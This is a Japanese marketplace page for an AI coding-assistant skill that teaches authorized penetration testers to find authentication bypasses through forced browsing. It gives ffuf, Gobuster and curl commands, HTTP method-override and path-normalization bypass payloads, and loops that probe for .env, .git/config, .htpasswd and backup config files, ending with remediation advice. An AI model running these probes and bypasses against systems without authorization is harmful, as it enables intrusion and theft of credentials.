mcpField
B
bypassing-authentication-with-forced-browsing

bypassing-authentication-with-forced-browsing

github.com/mukul975セキュリティ35.2k324 回インストール8 週間前に更新
リポジトリ

bypassing-authentication-with-forced-browsing について

認可されたペネトレーションテストで、Web アプリケーションが認証を一貫して適用しているか確認するためのセキュリティテストスキルです。強制ブラウジングに加え、エンドポイントや HTTP メソッド、パス正規化、公開ファイルを検査します。

主な機能

  1. 01非公開パスとファイルの列挙
  2. 02発見したエンドポイントの認証確認
  3. 03別の HTTP メソッドのテスト
  4. 04パス正規化の回避手法の検査
  5. 05公開されたバックアップや設定ファイルの検索

活用シーン

  1. 01管理ページの認証監査
  2. 02API エンドポイントのセッション検証漏れの確認
  3. 03セキュリティ監査での公開バックアップの発見

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill bypassing-authentication-with-forced-browsing

インストール後、Claude Code で/bypassing-authentication-with-forced-browsingを入力して読み込まれたか確認します。

同梱ファイル

SKILL.md と一緒にインストールされる参考資料やスクリプト。

LICENSE
references/
api-reference.md
scripts/
agent.py

詳細

強制ブラウジングによる認証の回避

使用する場面

  • 許可を得たペネトレーションテストで、非公開または保護されていない管理ページを発見する場合
  • アプリケーションのすべてのエンドポイントで認証が一貫して適用されているかをテストする場合
  • 本番環境で公開されたままのバックアップファイル、設定ファイル、デバッグインターフェースを特定する場合
  • 認証が必要な API エンドポイントのアクセス制御を評価する場合
  • セキュリティ監査で、すべての機密リソースにセッション検証が適用されていることを確認する場合

前提条件

  • 許可:ディレクトリ列挙を対象とする、書面によるペネトレーションテスト契約
  • ffuf:高速な Web ファザー(go install github.com/ffuf/ffuf/v2@latest)
  • Gobuster:ディレクトリ総当たりツール(apt install gobuster)
  • Burp Suite:リクエストとレスポンスの傍受および分析用
  • ワードリスト:SecLists コレクション(git clone https://github.com/danielmiessler/SecLists.git)
  • ターゲットへのアクセス:ネットワーク接続と、認証済みの比較に使う有効なテスト認証情報

ワークフロー

手順 1:隠しディレクトリとファイルを列挙する

ffuf または Gobuster を使って、アプリケーションのナビゲーションにリンクされていないパスを見つけます。

# Directory enumeration with ffuf
ffuf -u https://target.example.com/FUZZ \
  -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
  -mc 200,301,302,403 \
  -fc 404 \
  -o results-dirs.json -of json \
  -t 50 -rate 100

# File enumeration with common extensions
ffuf -u https://target.example.com/FUZZ \
  -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt \
  -e .php,.asp,.aspx,.jsp,.html,.js,.json,.xml,.bak,.old,.txt,.cfg,.conf,.env \
  -mc 200,301,302,403 \
  -fc 404 \
  -o results-files.json -of json \
  -t 50 -rate 100

# Gobuster for directory enumeration
gobuster dir -u https://target.example.com \
  -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \
  -s "200,204,301,302,307,403" \
  -x php,asp,aspx,jsp,html \
  -o gobuster-results.txt \
  -t 50
手順 2:管理インターフェースとデバッグインターフェースを見つける

一般的な管理用パスとデバッグ用エンドポイントを対象にします。

# Admin panel enumeration
ffuf -u https://target.example.com/FUZZ \
  -w /usr/share/seclists/Discovery/Web-Content/common.txt \
  -mc 200,301,302 \
  -t 50 -rate 100

# Common admin paths to check manually:
# /admin, /administrator, /admin-panel, /wp-admin
# /cpanel, /phpmyadmin, /adminer, /manager
# /console, /debug, /actuator, /swagger-ui
# /graphql, /graphiql, /.env, /server-status

# API endpoint discovery
ffuf -u https://target.example.com/api/FUZZ \
  -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \
  -mc 200,201,204,301,302,401,403 \
  -fc 404 \
  -o api-results.json -of json

# Check for Spring Boot Actuator endpoints
for endpoint in env health info beans configprops mappings trace; do
  curl -s -o /dev/null -w "%{http_code} /actuator/$endpoint\n" \
    "https://target.example.com/actuator/$endpoint"
done
手順 3:発見したエンドポイントで認証の適用をテストする

未認証のリクエストと認証済みのリクエストに対するレスポンスを比較します。

# Test without authentication
curl -s -o /dev/null -w "%{http_code}" \
  "https://target.example.com/admin/dashboard"

# Test with valid session cookie
curl -s -o /dev/null -w "%{http_code}" \
  -b "session=valid_session_token_here" \
  "https://target.example.com/admin/dashboard"

# Automated check: compare response sizes
# Unauthenticated request
curl -s "https://target.example.com/admin/users" | wc -c

# Authenticated request
curl -s -b "session=valid_token" \
  "https://target.example.com/admin/users" | wc -c

# If both return similar content, authentication is not enforced

# Test with Burp Intruder: send a list of discovered URLs
# without cookies and flag any 200 responses
手順 4:HTTP メソッドを利用した認証回避をテストする

一部のアプリケーションでは、特定の HTTP メソッドに対してのみ認証が適用されます。

# Test different HTTP methods on protected endpoints
for method in GET POST PUT DELETE PATCH OPTIONS HEAD TRACE; do
  echo -n "$method: "
  curl -s -o /dev/null -w "%{http_code}" \
    -X "$method" "https://target.example.com/admin/settings"
done

# Test HTTP method override headers
curl -s -o /dev/null -w "%{http_code}" \
  -X POST \
  -H "X-HTTP-Method-Override: GET" \
  "https://target.example.com/admin/settings"

curl -s -o /dev/null -w "%{http_code}" \
  -H "X-Original-Method: GET" \
  -H "X-Rewrite-URL: /admin/settings" \
  "https://target.example.com/"
手順 5:パストラバーサルと URL 正規化による回避をテストする

URL の解析方法の違いを悪用し、パスベースの認証ルールを回避します。

# Path normalization bypass attempts
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/admin/dashboard"
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/ADMIN/dashboard"
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/admin/./dashboard"
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/public/../admin/dashboard"
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/admin%2fdashboard"
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/;/admin/dashboard"
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/admin;anything/dashboard"
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/.;/admin/dashboard"

# Double URL encoding
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/%2561dmin/dashboard"

# Trailing characters
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/admin/dashboard/"
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/admin/dashboard.json"
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/admin/dashboard%00"
手順 6:バックアップファイルと設定ファイルを見つける

Web サーバー上で誤って公開されている機密ファイルを検索します。

# Backup file discovery
ffuf -u https://target.example.com/FUZZ \
  -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt \
  -e .bak,.old,.orig,.save,.swp,.tmp,.dist,.config,.sql,.gz,.tar,.zip \
  -mc 200 -t 50 -rate 100

# Common sensitive files
for file in .env .git/config .git/HEAD .svn/entries \
  web.config wp-config.php.bak config.php.old \
  database.yml .htpasswd server-status phpinfo.php \
  robots.txt sitemap.xml crossdomain.xml; do
  status=$(curl -s -o /dev/null -w "%{http_code}" \
    "https://target.example.com/$file")
  if [ "$status" != "404" ]; then
    echo "FOUND ($status): $file"
  fi
done

# Git repository exposure check
curl -s "https://target.example.com/.git/HEAD"
# If this returns "ref: refs/heads/main", the git repo is exposed

主な概念

概念説明
強制ブラウジングリンクされていないものの、サーバー上に存在する URL に直接アクセスすること
ディレクトリ列挙ワードリストを使ってディレクトリ名やファイル名を総当たりし、隠されたコンテンツを見つけること
認証回避アクセスチェックの欠如により、有効な認証情報なしで保護されたリソースにアクセスすること
パス正規化Web サーバーとアプリケーションフレームワークによる URL パスの解析方法の違いを悪用すること
メソッドベースの回避認証チェックが行われていない可能性のある代替 HTTP メソッド(PUT、DELETE)を使うこと
情報漏えい機密性の高い設定ファイル、バックアップ、デバッグインターフェースが公開されること
多層防御複数のレベルで認証を適用する、階層化されたセキュリティ制御

ツールとシステム

ツール用途
ffufディレクトリ、ファイル、パラメーターの列挙に使う高速 Web ファザー
GobusterGo で書かれた、ディレクトリと DNS の総当たりツール
Feroxbuster自動再帰機能を備えた、再帰的なコンテンツ探索ツール
DirBusterGUI を備えた、OWASP の Java ベースのディレクトリ総当たりツール
Burp Suiteリクエスト傍受と自動スキャンに使う HTTP プロキシ
SecListsセキュリティテスト用ワードリストの包括的なコレクション

よくあるシナリオ

シナリオ 1:公開された管理パネル

/admin/ にある管理パネルは、ナビゲーションにリンクされていないだけで隠されています。URL に直接アクセスすると、認証チェックなしで管理インターフェース全体を表示できます。

シナリオ 2:保護されていない API エンドポイント

/api/v1/users と /api/v1/settings の API エンドポイントはフロントエンドアプリケーションでは認証が必要ですが、バックエンド API ではセッション検証が行われません。そのため、認証なしで直接アクセスできます。

シナリオ 3:認証情報を含むバックアップファイル

開発者が本番サーバーに config.php.bak を残していました。このバックアップファイルにはデータベースの認証情報が平文で含まれており、拡張子ベースの列挙で発見されました。

シナリオ 4:Spring Boot Actuator の露出

/actuator/env エンドポイントが認証なしで公開されており、データベースの接続文字列、API キー、シークレットなどの環境変数が漏えいします。

出力形式

## Forced Browsing / Authentication Bypass Finding

**Vulnerability**: Missing Authentication on Administrative Interface
**Severity**: Critical (CVSS 9.1)
**Location**: /admin/dashboard (GET, no authentication required)
**OWASP Category**: A01:2021 - Broken Access Control

### Discovered Unprotected Resources
| Path | Status | Auth Required | Content |
|------|--------|---------------|---------|
| /admin/dashboard | 200 | No | Full admin panel |
| /admin/users | 200 | No | User management |
| /actuator/env | 200 | No | Environment variables |
| /config.php.bak | 200 | No | Database credentials |
| /.git/HEAD | 200 | No | Git repository metadata |

### Impact
- Unauthenticated access to administrative functions
- Ability to create, modify, and delete user accounts
- Exposure of database credentials and API keys
- Full source code disclosure via exposed Git repository

### Recommendation
1. Implement authentication checks at the server/middleware level for all admin routes
2. Remove backup files, debug endpoints, and version control metadata from production
3. Configure web server to deny access to sensitive file extensions (.bak, .old, .env, .git)
4. Implement IP-based access restrictions for administrative interfaces
5. Use a reverse proxy to restrict access to internal-only endpoints

コメント